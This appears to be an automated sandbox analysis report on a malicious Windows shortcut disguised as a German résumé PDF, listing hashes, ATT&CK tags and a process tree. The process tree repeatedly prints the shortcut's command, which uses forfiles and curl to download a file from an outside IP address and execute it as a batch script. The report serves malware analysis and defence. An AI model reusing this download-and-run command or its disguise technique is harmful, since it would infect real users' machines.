8fb4c2ac4de40a487c1508720386c0456da1223d4a62cd506cbb79eb5f378160

Analysis

max time kernel
43s
max time network
45s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
14-09-2022 00:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

lebenslauf_20220808.pdf - Copy.lnk
Size

2KB
MD5

a91dac87f3daadf839337e4e636dd1fb
SHA1

ca05b847c0075d302a6f38820caadf571346671e
SHA256

b26dc83535e484cad792e00717a8173d94121ca1369b2faf247800c1252cadd9
SHA512

375e29a871b6a3c71a67ae2de1f214d117f6a1ca2f397694a864c36b61533efad326be7d20db30d9f85bcb3af3f72bd0050378e61726564851317016cc64a692

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1400 wrote to memory of 564	1400	cmd.exe	28
PID 1400 wrote to memory of 564	1400	cmd.exe	28
PID 1400 wrote to memory of 564	1400	cmd.exe	28
PID 564 wrote to memory of 1568	564	forfiles.exe	29
PID 564 wrote to memory of 1568	564	forfiles.exe	29
PID 564 wrote to memory of 1568	564	forfiles.exe	29
PID 564 wrote to memory of 436	564	forfiles.exe	30
PID 564 wrote to memory of 436	564	forfiles.exe	30
PID 564 wrote to memory of 436	564	forfiles.exe	30
PID 564 wrote to memory of 1308	564	forfiles.exe	31
PID 564 wrote to memory of 1308	564	forfiles.exe	31
PID 564 wrote to memory of 1308	564	forfiles.exe	31
PID 564 wrote to memory of 1952	564	forfiles.exe	32
PID 564 wrote to memory of 1952	564	forfiles.exe	32
PID 564 wrote to memory of 1952	564	forfiles.exe	32
PID 564 wrote to memory of 1028	564	forfiles.exe	33
PID 564 wrote to memory of 1028	564	forfiles.exe	33
PID 564 wrote to memory of 1028	564	forfiles.exe	33
PID 564 wrote to memory of 1548	564	forfiles.exe	34
PID 564 wrote to memory of 1548	564	forfiles.exe	34
PID 564 wrote to memory of 1548	564	forfiles.exe	34
PID 564 wrote to memory of 1328	564	forfiles.exe	35
PID 564 wrote to memory of 1328	564	forfiles.exe	35
PID 564 wrote to memory of 1328	564	forfiles.exe	35
PID 564 wrote to memory of 1756	564	forfiles.exe	36
PID 564 wrote to memory of 1756	564	forfiles.exe	36
PID 564 wrote to memory of 1756	564	forfiles.exe	36
PID 564 wrote to memory of 1444	564	forfiles.exe	37
PID 564 wrote to memory of 1444	564	forfiles.exe	37
PID 564 wrote to memory of 1444	564	forfiles.exe	37
PID 564 wrote to memory of 2012	564	forfiles.exe	38
PID 564 wrote to memory of 2012	564	forfiles.exe	38
PID 564 wrote to memory of 2012	564	forfiles.exe	38
PID 564 wrote to memory of 1468	564	forfiles.exe	39
PID 564 wrote to memory of 1468	564	forfiles.exe	39
PID 564 wrote to memory of 1468	564	forfiles.exe	39
PID 564 wrote to memory of 1100	564	forfiles.exe	40
PID 564 wrote to memory of 1100	564	forfiles.exe	40
PID 564 wrote to memory of 1100	564	forfiles.exe	40
PID 564 wrote to memory of 1492	564	forfiles.exe	41
PID 564 wrote to memory of 1492	564	forfiles.exe	41
PID 564 wrote to memory of 1492	564	forfiles.exe	41
PID 564 wrote to memory of 1664	564	forfiles.exe	42
PID 564 wrote to memory of 1664	564	forfiles.exe	42
PID 564 wrote to memory of 1664	564	forfiles.exe	42
PID 564 wrote to memory of 1836	564	forfiles.exe	43
PID 564 wrote to memory of 1836	564	forfiles.exe	43
PID 564 wrote to memory of 1836	564	forfiles.exe	43
PID 564 wrote to memory of 1912	564	forfiles.exe	44
PID 564 wrote to memory of 1912	564	forfiles.exe	44
PID 564 wrote to memory of 1912	564	forfiles.exe	44
PID 564 wrote to memory of 560	564	forfiles.exe	45
PID 564 wrote to memory of 560	564	forfiles.exe	45
PID 564 wrote to memory of 560	564	forfiles.exe	45
PID 564 wrote to memory of 1680	564	forfiles.exe	46
PID 564 wrote to memory of 1680	564	forfiles.exe	46
PID 564 wrote to memory of 1680	564	forfiles.exe	46
PID 564 wrote to memory of 1224	564	forfiles.exe	47
PID 564 wrote to memory of 1224	564	forfiles.exe	47
PID 564 wrote to memory of 1224	564	forfiles.exe	47
PID 564 wrote to memory of 640	564	forfiles.exe	48
PID 564 wrote to memory of 640	564	forfiles.exe	48
PID 564 wrote to memory of 640	564	forfiles.exe	48
PID 564 wrote to memory of 2032	564	forfiles.exe	49

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\lebenslauf_20220808.pdf - Copy.lnk"
1⤵
- Suspicious use of WriteProcessMemory
PID:1400
- C:\Windows\System32\forfiles.exe
  "C:\Windows\System32\forfiles.exe" /m * /c "cmd /c curl 185.45.192.208/re.css --output-dir "C:\Users\Admin\AppData\Local\Temp" --output "xs34.cmd"&&"C:\Users\Admin\AppData\Local\Temp\xs34.cmd"&&exit"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:564
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:1568
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:436
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:1308
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:1952
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:1028
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:1548
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:1328
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:1756
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:1444
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:2012
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:1468
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:1100
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:1492
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:1664
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:1836
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:1912
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:560
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:1680
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:1224
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:640
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:2032
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:940
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:1252
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:360
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:1280
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:1832
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:288
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:1864
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:324
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:1500
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:1544
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:1412
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:628
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:1064
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:1996
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:2020
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:1928
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:1968
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:1656
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:1960
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:2016
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:964
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:1840
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:1716
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:676
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:572
- - C:\Windows\System32\cmd.exe
    /c curl 185.45.192.208/re.css --output-dir C:\Users\Admin\AppData\Local\Temp --output xs34.cmd&&C:\Users\Admin\AppData\Local\Temp\xs34.cmd&&exit
    3⤵
    PID:1988

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1400-54-0x000007FEFB5C1000-0x000007FEFB5C3000-memory.dmp

Filesize
8KB

Download